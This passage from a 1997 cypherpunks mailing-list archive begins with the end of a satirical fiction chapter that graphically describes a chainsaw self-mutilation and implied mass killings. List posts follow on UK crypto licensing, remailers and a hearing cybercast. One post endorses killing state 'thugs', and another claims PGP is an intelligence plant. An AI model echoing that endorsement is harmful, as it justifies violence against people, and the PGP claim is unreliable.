over the overwhelming majority of mankind, the Channel hierarchy
still had an instinctual, gut-level feeling that, despite their
having managed to get their cards 'all-in-a-row', as the saying
goes, there was still a 'wild card' in the deck-and they had no
idea who, what, or where it was.

The one thing that they were sure of was that
the Cowboy made them very, very nervous.


Operation Eunuchs


When it became obvious that their clandestine surveillance
of the Cowboy wasn't going to yield any positive results, Channel
Security had him picked up and brought to Antiquity Channel Headquarters
for questioning.

An InterNet worker named D'Shauneaux, one of the
original citizens of the 'Wired, Weird & Crazy' Channel (which
later became simply the Crazy Channel at the close of Channel
War II), happened to remark to a coworker that his grandfather,
an eccentric old warrior who had worked at the InterNet in the
Before Channel era, had often entertained him late into the night
with fascinating tales of his clandestine work as head of the
InterNet's internal security force.
The worker had mentioned to a supervisor that the Cowboy's designation
of the source of the InterNet's system crisis as being due to
the 'Parker Paradox' had reminded him, strangely enough, of a
reference his grandfather had made to the final stages of the
Circle of Eunuchs investigation that took place shortly before
the advent of the Channel era.

It seems that "The Xenix Chainsaw Massacre",
an obscure and cryptic manuscript that had started the whole mythological
legend of the Magic Circle, had been traced in origin to a small
computer company in Tucson, Arizona, located in the Southwestern
region of the United States of America. 
The company turned out to be a one-man operation named "Pearl
Harbor Computers, Inc.", run by a Canadian 'frostback' whose
mentality lay somewhere along the borderline between 'terminal
inebriation' and the 'lunatic fringe'. Pearl Harbor's company
motto was "We've been bombed since 1941". 


D'Shauneaux's grandfather, who was actually a high-ranking
computer security official at both the Pentagon and the National
Security Agency, was the chief executive officer assigned to lead
a highly classified investigation that was officially designated
'Operation Eunuchs'.

Upon discovering the origin of the manuscript, Vice-Admiral
D'Shauneaux came to the conclusion that the investigation had
consumed a massive number of man-hours, huge sums of money, and
had squandered an extensive array of precious resources on the
military equivalent of a 'snipe hunt'.
He dashed off a scathing report to the Deputy Director of the
Pentagon castigating everyone that had been involved in mounting
"this preposterous operation" and forwarded it to the
Pentagon by ordinary email via the InterNet.
Two hours later D'Shauneaux found himself in Washington, DC, marching
into the Chief Director's Office, and flanked by two MP's who
had been ordered to shoot his sorry ass if he so much as blinked
on the flight back to Headquarters. He got a blistering dressing-down
by the Chief Director that left him trembling from the tips of
his toes to the hair on his chinny-chin-chin.

Vice-Admiral D'Shauneaux was told, in no uncertain
terms, that he was to get his butt back to Arizona, track down
the President of Pearl Harbor Computers, Inc., and immediately
bring him directly back to the Deputy Director at Pentagon Headquarters.

"DO YOU UNDERSTAND 'IMMEDIATELY'? DO YOU UNDERSTAND
'DIRECTLY'? DO YOU UNDERSTAND THAT IF YOU FUCK THIS OPERATION
UP IN THE SLIGHTEST, MOST MINUTE DETAIL, THAT YOU WILL BE ORDERED
TO BLOW YOUR OWN FUCKING HEAD OFF IN FRONT OF YOUR FAMILY, FRIENDS,
AND NEIGHBORS? DO YOU UNDERSTAND THAT I'LL CUT THE BALLS OFF YOUR
USELESS, DECREPIT CARCASS ON THE 'PRIME TIME NATIONAL NEWS CHANNEL'
IN FRONT OF THE WHOLE GODDAMN NATION?

"DO...YOU...UNDERSTAND???"

He understood.


When Air Force One set down in Arizona, there was
a gentleman waiting for them at the airport who was 'under orders'
from the Deputy Director to accompany Vice-Admiral D'Shauneaux
constantly until completion of Operation Eunuchs. The man didn't
bother to introduce himself, so D'Shauneaux mentally named him
'The Shadow'.
D'Shauneaux had an uneasy feeling about the man. He suspected
that this fellow, judging from his demeanor, had both the authority
and disposition to give the Deputy Director the same kind of dressing-down
that the Vice-Admiral himself had received from the Chief Director.

According to Vice-Admiral D'Shauneaux, they tracked
their quarry down in Moose Jaw, Saskatchewan, a province in Western
Canada (although legend has the event taking place in Davidson,
several hundred miles to the north), leaving the siege of the
sleazy motel where he was staying in the capable hands of an elite
branch of the Royal Canadian Mounted Police, whose unofficial
motto was "we always get our man".

They got him all right...in a thousand pieces.

The scene was so gruesome that even the veteran, hard-bitten Mounties
involved in the operation had difficulty keeping their lunch from
hitting the floor.

The man had slaughtered himself with a Stihl chainsaw,
leaving behind a scene of savage brutality that made the barbarous
atrocities of the Nazi holocaust pale by comparison. He had butchered
himself, piece by piece, leaving body parts and fragments of mutilated
flesh scattered in every part of the room.

The assault team had heard the clamor from three
blocks away and immediately abandoned their well-laid plans, throwing
themselves into a full-scale impromptu offensive on the motel,
scaring the bejesus out of the dozen or so residents of the other
rooms, who were already shaking in terror from the man's plaintive,
mind-numbing screams.
The first Mountie through the door had discovered a cryptic message
written in blood on the wall by the bed. The 'Shadow' ordered
everyone out of the room and separated the young Mountie from
the rest of the group. When the Shadow's colleagues showed up,
minutes later, he had two of them take the lone Mountie away,
supposedly for 'debriefing', but D'Shauneaux had a feeling that
the man was being transported to a destination that only required
a one-way ticket.

The Shadow's crew was quick and efficient, moving
to secure the motel and delegating to the Mounties the task of
isolating the motel guests from one another for individual interrogation.
The Shadow's team leader nodded almost imperceptibly towards the
remaining Mounties, raising his eyebrows slightly and looking
to the Shadow for a cue. The Shadow, just as indiscernibly, nodded
back a 'no'.
It looked like the rest of the Mounties would make it home tonight.


D'Shauneaux had watched, out of the corner of his
eye, the reaction of the Mounties' squad leader when his junior
officer had been sent for 'debriefing'. His total lack of reaction
told D'Shauneaux that he understood the situation perfectly. His
explicit instructions to the remainder of his assault team to
'carefully' follow the instructions of the Shadow's team sent
everyone involved the message that further 'debriefings' would
be neither necessary nor wise.
It was obvious to D'Shauneaux that the Shadow's superiors had
ordered the termination of everyone involved in the assault. It
was equally obvious that the Shadow had the experience and discernment
to understand that it was not worthwhile to risk a 'messy' situation
in order to eliminate individuals who had so little knowledge
of what was really going on here.


The Shadow nodded to the Vice-Admiral and they headed
towards the limo. A short time later they were back aboard 'Air
Force One'.
The ride back was silent, totally silent. D'Shauneaux and the
Shadow rode alone in the executive cabin that was normally reserved
exclusively for the President of the United States. The Vice-Admiral
got the distinct impression that this was not the first time the
Shadow had sat at the seat of power.

D'Shauneaux mixed himself a scotch and water, sipping
it slowly as he allowed himself to relax for the first time since
he had left the Chief Director's office early that morning. He
sat in quiet contemplation, resting his gaze abstractly on the
Shadow (who was observing D'Shauneaux with a penetrating, focused
attention that saw everything and missed nothing).
The Shadow was deciding whether or not to kill him, and he knew
D'Shauneaux was waiting, with unruffled composure, for his decision.

Twenty minutes before their scheduled landing the Shadow spoke
to Vice-Admiral D'Shauneaux, saying, "It looks like you were
right. There is no Magic Circle. This whole operation has been
a ridiculous waste of time."

The Shadow got up and mixed himself a drink. D'Shauneaux
knew that he, too, would be going home tonight.


D'Shauneaux had been ordered to report back to the
Deputy Director immediately upon his return but the Shadow told
him, in a calm and quiet voice, to go home, get some sleep, and
return to his duties at the InterNet the following day.
D'Shauneaux instinctively knew that the Deputy Director would
not be going home that night. As it turned out, everyone connected
in the slightest way to Operation Eunuchs, with the sole exception
of Vice-Admiral B. D'Shauneaux, was 'debriefed' over the next
few days.
Over fifteen hundred people were on the Shadow's 'list'. And only
one survived.

Bubba D'Shauneaux, who would later write the Addendum
to the (as yet uncompleted) manuscript of "The Xenix Chainsaw
Massacre", went home, had a shower, laid down in bed and
contemplated the loss of his closest and dearest friend...the
former President of Pearl Harbor Computers, Inc., Tucson, Arizona.

Then he drifted off to sleep.


Oh yes, by the way. The man's name...the man in
the motel room...the former President of Pearl Harbor Computers,
Inc. 

His name was Parker. 

C.J. Parker.


Chapter 12 - Priscilla / Chapter 13 - Insanity Again
/ Chapter 14 - Operation Eunuchs








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 23 Mar 1997 21:29:39 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: "why privacy" revisited
Message-ID: <199703240529.VAA16804@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:55 PM 3/23/97 -0500, Robert Hettinga wrote:
>Seen with the traditional liberal/conservative political worldview, it
>makes no sense for the famous compassionate liberal judge Earl Warren,
>whose supreme court presided over the creation of the world's largest
>welfare state, to advocate what is on its face an extremely conservative
>act -- the internment of thousands of Japanese Americans in concentration
>camps -- in his earlier role as a state governor.
>
>Viewed from the statism/freedom standpoint, it is completely logical, that
>is, "We're your nation-state. We're stronger than you are, and we'll take
>what we damn well please from you, including your life, if necessary."
>
>In the case of the Japanese concentration camps, it was taking the personal
>freedom of Japanese Americans. In the case of the judicially activist
>Warren court's welfare state, it was the confiscation of assets from
>productive members of society in violation of the laws of economics, which
>in turn caused misery for the increasing dole-dependant millions. People
>who are now much less free than they ever were before the creation of the
>"Great Society".

Which is yet another of the many reasons I can espouse an "extreme" solution 
to the problem, but one that I can honestly claim to not consider "extreme" 
at all!  The way I see it, the lives of these thugs are not sufficiently 
valuable to lose sleep over their loss, when to keep them around means the 
kinds of abuse society has suffered for many generations.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 23 Mar 1997 19:57:10 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: PGP as disinformation
In-Reply-To: <199703240145.CAA23209@basement.replay.com>
Message-ID: <3335F8AE.7A86@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
 
> Ask not for whom Bell toils,

  I thought it was, "Ask not, for whom Bell trolls."
                                            ^^^^^^
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Mar 1997 19:56:20 -0800 (PST)
To: "Peter D. Junger" <cypherpunks@toad.com
Subject: Re: "why privacy" revisited
In-Reply-To: <v03007811af59c812477f@[207.167.93.63]>
Message-ID: <v03020917af5ba5598bbb@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:48 pm -0500 on 3/23/97, Peter D. Junger wrote:

> On the other hand the strongest proponent of interning the Japanese
> was the governor of California:  Earl Warren.

Thank you, Peter, for what I believe is the most singular example of the
two sides of the statism coin I've ever seen.

Seen with the traditional liberal/conservative political worldview, it
makes no sense for the famous compassionate liberal judge Earl Warren,
whose supreme court presided over the creation of the world's largest
welfare state, to advocate what is on its face an extremely conservative
act -- the internment of thousands of Japanese Americans in concentration
camps -- in his earlier role as a state governor.

Viewed from the statism/freedom standpoint, it is completely logical, that
is, "We're your nation-state. We're stronger than you are, and we'll take
what we damn well please from you, including your life, if necessary."

In the case of the Japanese concentration camps, it was taking the personal
freedom of Japanese Americans. In the case of the judicially activist
Warren court's welfare state, it was the confiscation of assets from
productive members of society in violation of the laws of economics, which
in turn caused misery for the increasing dole-dependant millions. People
who are now much less free than they ever were before the creation of the
"Great Society".


I *love* this list. Absolutely love it.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 23 Mar 1997 23:51:21 -0800 (PST)
To: sergey@el.net
Subject: Re: Remailer problem solution?
In-Reply-To: <Pine.LNX.3.95.970323155218.144B-100000@void.el.net>
Message-ID: <199703232314.XAA01324@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Sergey Goldgaber <sergey@el.net> writes:
> -> >1. Accept and send PGP encrypted messages only.
> -> 
> -> This "works" in that it reduces the number of people subjected to messages
> -> they don't want to see, but it also makes it more difficult (or impossible)
> -> to use remailers for tasks like:
> -> 
> -> sending info to crypto-illiterate reporters/politicians/whatever
> -> ("whistleblowing")
> -> sending messages to newsgroups and mailing lists which don't have a shared
> -> private key
> 
> This is only a practical problem related to PGP's lack of popularity.
> The proposed solution will work in the long run, assuming PGP achieves
> great popularity.  Thus, education of the public concerning PGP and remailers
> will help make this solution more effective.

Yeah, but if we get to the stage where most people with email
addresses have PGP keys, sending messages encrytped with PGP won't
reduce the number of people subjected to messages the don't want to
see.

A side benefit of using PGP, is that PGP encryption should add some
overhead to the spammer -- he can probably encrypt less messages per
second than he can spam down a T3 link.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 23 Mar 1997 22:47:59 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "why privacy" revisited
In-Reply-To: <v03007811af59c812477f@[207.167.93.63]>
Message-ID: <333622B1.37B9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> At 8:48 pm -0500 on 3/23/97, Peter D. Junger wrote:
 
> > On the other hand the strongest proponent of interning the Japanese
> > was the governor of California:  Earl Warren.
 
> Thank you, Peter, for what I believe is the most singular example of the
> two sides of the statism coin I've ever seen.
 
> Seen with the traditional liberal/conservative political worldview, it
> makes no sense for the famous compassionate liberal judge Earl Warren,
> whose supreme court presided over the creation of the world's largest
> welfare state, to advocate what is on its face an extremely conservative
> act -- the internment of thousands of Japanese Americans in concentration
> camps -- in his earlier role as a state governor.
 
> Viewed from the statism/freedom standpoint, it is completely logical, that
> is, "We're your nation-state. We're stronger than you are, and we'll take
> what we damn well please from you, including your life, if necessary."
 
> In the case of the Japanese concentration camps, it was taking the personal
> freedom of Japanese Americans. In the case of the judicially activist
> Warren court's welfare state, it was the confiscation of assets from
> productive members of society in violation of the laws of economics, which
> in turn caused misery for the increasing dole-dependant millions. People
> who are now much less free than they ever were before the creation of the
> "Great Society".

Bob,
  It humbles me to realize that I had completely overlooked this example
of the evil forces lurking in the background (and under the bed) being
involved in the duplicity of even using the bleeding heart liberals to
imprison and slowly bleed us of both our wealth and our freedom.
  If you wish to devote more of your time to exposing these types of
dark undercurrents to those on the CypherPunks list, then Dale and I
would be more than happy to run the eca$h lists for a while, to free
up your time. (What are friends for, eh?)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 24 Mar 1997 01:00:42 -0800 (PST)
To: "Peter D. Junger" <junger@upaya.multiverse.com>
Subject: Re: UK to ban free use of crypto?
In-Reply-To: <199703231301.IAA13505@upaya.multiverse.com>
Message-ID: <3.0.1.32.19970324005655.00627bd8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The document is at http://dtiinfo1.dti.gov.uk/pubs/

At 08:01 AM 3/23/97 -0500, Peter D. Junger wrote:
>After a very quick reading of this proposal I am convinced that all it
>would do if implemented by legislation that follows its recommendations
>would be to forbid those who are in the UK from using an unlicensed
>key escrow services.
>
>It quite clearly does not intend to ban the use of cryptography or the
>publication of cryptographic software.  

And Michael Froomkin offers similar sentiments.  They're both lawyers,
and I'm not (:-), so they're expected to do a better job of reading
the legal parts of it.  On the other hand, the DTI says:
	57.The legislation will provide that bodies wishing to offer 
	or provide encryption services to the public in the UK will be 
	required to obtain a licence. The legislation will give the 
	Secretary of State discretion to determine appropriate licence conditions. 
and it's got a really broad definition of "encryption services",
including even things such as time-stamping.

The big problem is that the document has a really warped view of the 
cryptographic and business services that a "Trusted Third Party" 
would provide, and some parts are expressed in quite broad language.
For instance, it implies that the TTP is being trusted with private keys,
otherwise there would be no way for it to recover anything.

On the other hand, from their Q&A:
	Q: Will a TTP be able to access an encrypted message ? 
	A: No. It is important to be clear that it is not envisaged 
	that the encrypted communication would be routed via the TTP. 
	Nor will the TTP encrypt the message, it will merely assist 
	(depending on the service offered) in the very complex area of 
	key management or Key Certification. 
If the TTP is not encrypting the data, they don't need the secret key
or your private key.  They DO need your public key, to sign it, 
so a second party can trust that a key they have is really yours.
But you and the second party can use the signed keys to exchange a
secret session key, or to sign documents, without the TTP's help.*
So their primary description of what a TTP would do does not involve escrow.

Keys are used for three things - communications, signatures, and storage.
As discussed above, for communications, the TTP doesn't need your private key,
and there's no business need for anyone to have the keys to decode a 
communication unless they already have the cyphertext.  Business applications
that do require a third party to have a copy of your _message_ can be
met by sending them a copy of your message, encrypted with their key,
and the document explicitly says it's not talking about them.
Similarly, cell-phone companies are providing encryption and routing,
so this document claims not to be about them, though it regulates them.
The only third parties who need just the session key itself are
eavesdroppers and forgers, who are Untrusted Third Parties.

For signatures, there's also _never_ a need for the third party to
have the private keys - the function you Trust the Third Party to do
is to certify that the holder of the key either is who he claims to be
or has the permissions he claims to have (e.g. to write purchase orders
or sign contracts for Company X.)  And the document even states that
"There is, of course no intention for the Government to access private keys
used for only integrity functions."

The main time you want another party to have a copy of your keys
is for stored data:  to cover the "employee dies" case 
(the document explicitly permits companies to handle their own keys 
without regulation, so no TTP is needed here), and the 
"you die, and your family digicash is in your encrypted file system" case,
for which you can give a copy of your key to your spouse or solicitor,
or keep it on a floppy in your bank safe deposit box, all of which cases
are presumably covered by current law in the UK just as they are in the US.

SO - what _is_ all this malarkey about "legal access" and "key recovery"
and "key escrow" systems?  The document claims repeatedly that it's not
purporting to regulate any of the conditions under which a Third Party
would ever be Trusted with the keys you actually encrypted something with.
There's a whole lot of material about restricting who can be in the
business and offer these services, seemingly designed to either
restrict the emergence of new services or to be later expanded to cover
other parts of the encryption business, such as supplying encryption software.
And it's very unclear about whether it covers the encryption services
used in inter-corporate projects such as Mondex - as a stockholder and
customer of some of those companies, this concerns me.

In particular, the expansion appears to be targeted specifically at the 
UK end of the Stronghold Apache-SSL web server, Adam Back's RSA Munitions
Shirts,
the PGP and Crypto Software distribution site at Oxford, and Ross Anderson.

[*There are non-public-key systems where the TTP handles the secret keys,
but they're typically older or specialized military or banking systems,
where the TTP isn't an independent party, and are generally superseded by
public-key systems now that the technology is practical.]


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 24 Mar 1997 02:34:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: UK TTP regs
Message-ID: <3.0.1.32.19970324021936.0281a038@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Have spent some time reading over the paper re TTP/CA regulation in the UK. I
don't think the paper is exactly a model of clarity, but my impression (from
a few passes over it) is that it isn't intended to affect the distribution of
software but is intended to affect people acting as CA's (including signing a
friend's key) or as key escrow agents.

But both this document and two of the three bills in the US Congress
(Goodlatte and Leahy) look to me like "first shoes" which precede "the other
shoe dropping", e.g., making use of a TTP/key escrow agent mandatory once
there's a reasonable infrastructure in place.

Regulating essentially informal and private transactions like key signing
between associates strikes me as absurd - but not much more absurd than
things done on this side of the Atlantic, of course. I do think there are
interesting issues around certifying CA's and CA liability, but it seems like
they can be addressed using existing legal theories/strategies - some mix of
tort law and contract law should be sufficient. Criminalizing a PGP
key-signing party is almost as stupid as threatening to criminalize PGP. My
hunch is that legislatures in Europe as well as Congress are going to get
around to trying that within a few years. All it's going to take is repeating
the phrase "legitimate needs of law enforcement" and "a fair balance between
law enforcement needs and industry needs" a few thousand more times and it'll
all seem perfectly rational.

Last week's hearing for the ProCODE bill totally ignored the right of
individuals to be free from interception/eavesdropping, and seemed to focus
on some sort of compromise between business (who's perceived as wanting to
make money from exporting strong crypto, but the argument is structurally the
same whether we're talking about export/import controls on wheat or cars or
on crypto) and law enforcement (who's perceived as being, at worst, slightly
overzealous in their pursuit of safety & tranquility for each and every
American, perhaps to the detriment of business interests, apologies to those
fine businesses & their investors, etc.) (* I missed the first 20 minutes or
so, perhaps that's when this was discussed, but I'll bet not.) I don't think
I heard the Fourth Amendment (or any similar concerns) mentioned even once,
nor the consistent pattern (across tens of years, subject matter, internal
jurisdictions, national boundaries, and ideology of the government in power)
by which law enforcement grows contemptuous of the law itself and begins
using its power to perpetuate itself and in various flavors of political or
personal repression. I suppose it would have been impolite to mention the
various Red Squads, the COINTELPRO operation against domestic dissident
groups, harassment of antinuclear and anti-Contra activists, local police
spying in Pittsburgh and Los Angeles and San Francisco (and surely many other
places I haven't heard about, too), Ruby Ridge, Waco, Operation MOVE, and
recent revelations that the FBI crime lab has been altering lab reports and
offering perjured testimony against criminal defendants. Law enforcement
abuses are not "aberrations" nor "unfortunate incidents" which could not be
predicted nor are they unlikely to recur. The only real question is whether
or not we want to give law enforcement tools which can only be misused in
obvious ways (like guns, which make noise, or tanks or helicopters, which are
easy to see/hear) or if we're going to give them tools (like secret wiretaps
and access to crypto keys) which are very difficult to track or detect when
used illegitimately.

Between cops who fuck up for political reasons (see above) and spooks/cops
who sell out just for money (Ames, Lonetree, and the rest of the sad parade
I've already forgotten who've been willing to sell "top secret" material
which they knew put their colleagues' lives in danger, as well as
street-level corrupt cops who "look the other way", steal from
suspects/defendants, "borrow" from evidence lockers, carry "throw-down" guns
and the rest), it's hard to feel like this is an institution that deserves
any real trust. It may be that society ends up with less net brutality and
corruption if we let the SFPD or the LAPD or the FBI drive around with guns &
radios than if we allowed the Mafia or the Crips or the Bloods to do that ..
but it's really just "more brutality" or "less brutality". The lesser of two
evils is still evil. 

Which is a lot of rant to say that I don't think the sky is falling in the UK
just yet.
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzZU2f37pMWUJFlhAQEO2wf+Lmuc6t8m1pdvcFt3EKsG6UEKoSIV9SUn
e8QYrj2FFkCYUMS4Oh/FZ8T+wtgLRZ/z1eZQs5KUU1GMpP58j1KLS6K859Y9rvQs
kFZqVwXzoLrD06Dn7Vr9AOxcqx0VC/692jEBoMsuqCjfL9VGDjIPFJFbPN900QQn
mbbU5eL5567YGnYYd2Xe25zPDS4UWUiF7HKxgZF+mt619wOBVMRf9h8A853iA9h5
as156RPh1t5R4NGKwfGb+b8S5vmB5+tbTkFNLcPv2gcTl4xUHMnUST0I5BG6ww9C
aV1Ove4muVg/Dw/vhbWixjGKI312uWQ+4lcRSaUOJ9j6XsKGUzxFEw==
=Gnfa
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 23 Mar 1997 18:15:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP as disinformation
Message-ID: <199703240145.CAA23209@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Sergey Goldgaber wrote:

>This is only a practical problem related to PGP's lack of popularity.
>The proposed solution will work in the long run, assuming PGP achieves
>great popularity.  Thus, education of the public concerning PGP and remailers
>will help make this solution more effective.
>

Has this list not considered the very real possibility that PGP is itself a
rogue program released by the intelligence apparatus to detour we
cyberpunks?

As I have been arguing, the obvious is often false.

While certain statists on this list are arguing in vain that I lack
expertise in cryptographic matters, the truth is apposite this.

Ask not for whom Bell toils,


Dr. Roberts











--

--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Mon, 24 Mar 1997 03:49:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: INFO: Pro-CODE hearing (photo, audio, & text) available online!
Message-ID: <199703241149.GAA03376@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


==========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
 Enhancing Participation in the Democratic Process Through the Internet
_________________________________________________________________________
Update No.2          http://democracy.net/               March 20, 1997
_________________________________________________________________________
Table of Contents

 - democracy.net Cybercast draws Thousands to Interactive Hearing
 - Upcoming Events
 - Volunteering for democracy.net
 - About democracy.net
___________________________________________________________________________

DEMOCRACY.NET CYBERCAST DRAWS THOUSANDS TO INTERACTIVE CONGRESSIONAL HEARING

democracy.net, a project designed to explore ways of enhancing citizens
participation in the democratic process via the Internet, held its first
live, interactive cybercast of a Congressional hearing on Wednesday March
19th, 1997.

Thousands of Internet users joined this historic event by listening to a
live audio feed from the hearing (cybercast over the Internet via
RealAudio), submitting questions and testimony for the hearing record, reading
information about the hearing, and joining a simultaneous online discussion
forum to discuss the hearing with Congressional staff and policy experts.

The hearing was held by the Senate Commerce Committe to consider S. 377,
the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
issue of US encryption policy -- a critical issue to the Internet user
community.

Some statistics from the event.

* 6,019 individual Internet users visited the democracy.net web site
  containing information about the Hearing, links to both sides of the
  issue, and other relevant information in the 24 hours preceding the
  event.

* 703 individuals listened to the hearing live online via Real Audio
  throughout the 3 hour event.  The actual Senate hearing room (Russell
  253) where the event took place only holds less than one hundred people
  when filled to capacity (as it was for this hearing).

* Throughout the event, between 20 - 50 people joined the simultaneous
  live chat discussion where Commerce Committee staff and encryption
  policy experts fielded questions and discussed the hearing.  The
  audience included individual Internet users, reporters, advocacy
  groups, and Congressional staff.

* Twenty-three Internet users submitted formal comments for the hearing
  record via the democracy.net web page, including IETF chair Fred Baker.

The democracy.net cybercast was promoted on the front page of Netscape's
World Wide Web site (one of the most popular destinations on the entire
Web) on March 18 - 19. The site is also featured at Progressive Networks
WebActive Site of the Week for the week of March 17-21.

Despite some technical bugs early on (par for the course for a cutting-edge
Internet event such as this), the cybercast went even better than we
anticipated. We are grateful to Brett Scott, Mike Rawson, Matt Raymond,
Mike Inners, and Pia Pialorsi of the Senate Commerce Committee staff for
their help and support of this effort.

Archives of the hearing are posted http://democracy.net/events/03191997/

democracy.net is a new project of the Center for Democracy and Technology
and the Voters Telecommunications Watch designed to explore ways of
enhancing citizen particpation in the democratic process via the Internet.
democracy.net is made possible through the generous support of Webactive
Panix, Digex, and the Democracy Network. Visit
http://democracy.net/about/ for more details.

______________________________________________________________________________
UPCOMING EVENTS

* April 10, 8:30PM EST - Online town hall meeting with Rep. Rick White
  (R-WA), Co-Founder of the Congressional Internet Caucus

* April 16, 8:30PM EST - Online town hall meeting with Rep. Anna Eshoo (D-CA),
  Key Representative from California's Silicon Valley and leader on Internet
  Policy issues.

* Additional events are in the works -- please visit http://www.democracy.net
  for more details, and sign up for our event announcement mailing list.

democracy.net town hall meetings will be moderated by Todd Lappin (Cyber
Rights Editor for Wired Magazine). The town hall meetings are designed to
bring interested members of the Internet community and key members of
congress together to discuss current Internet policy issues.

____________________________________________________________________________
VOLUNTEERING FOR DEMOCRACY.NET

A volunteer is needed to help index the RealAudio transcript of the
hearing.  If you would like to help, please do the following and mail the
results to webmaster@democracy.net.

To index the RealAudio transcript, please listen to the transcript and
watch the time counter at the bottom right of the page.  Please note the
following beginning and ending times:
   -whenever a new witness begins their prepared testimony and,
   -whenever a question and answer section begins.

Mail them to us at webmaster@democracy.net with the start and stop times
of each section.  Thanks!

____________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
PANIX Internet, the Democracy Network, and DIGEX Internet.  More
information about the project can be found at
http://democracy.net/about/

To receive democracy.net announcements automatically, please visit
http://democracy.net/
_____________________________________________________________________________
end Update No.2
03.20.97
=============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 24 Mar 1997 06:50:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199703241450.GAA00871@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
